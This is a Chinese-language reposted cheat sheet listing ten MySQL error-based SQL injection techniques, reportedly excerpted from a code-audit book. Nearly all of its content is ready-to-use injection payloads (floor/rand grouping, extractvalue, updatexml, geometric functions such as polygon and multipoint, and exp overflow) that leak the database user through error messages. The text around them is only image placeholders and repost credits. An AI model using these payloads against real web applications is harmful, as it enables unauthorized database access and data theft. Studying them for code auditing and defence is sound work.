十种MySQL报错注入

bubuko 2022/1/25 20:09:03 mysql 字数 2841 阅读 824 0 来源 http://www.bubuko.com/infolist-5-1.html

参考：https://www.cnblogs.com/wocalieshenmegui/p/5917967.html 以下均摘自《代码审计：企业级Web代码安全架构》一书 1.floor() select * from test where id=1 and (select 1 from (sele ...

参考：https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

以下均摘自《代码审计：企业级Web代码安全架构》一书

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

技术分享图片

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

技术分享图片

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

技术分享图片

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

技术分享图片

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

技术分享图片

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

技术分享图片

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

技术分享图片

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

技术分享图片

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

技术分享图片

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

技术分享图片

十种MySQL报错注入

原文：https://www.cnblogs.com/kuangke/p/12390503.html

如果您也喜欢它,动动您的小指点个赞吧

除非注明，文章均由 laddyq.com 整理发布，欢迎转载。

转载请注明：
链接：http://laddyq.com
来源：laddyq.com
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。

十种MySQL报错注入

分类汇总

您的鼓励是对我最大的支持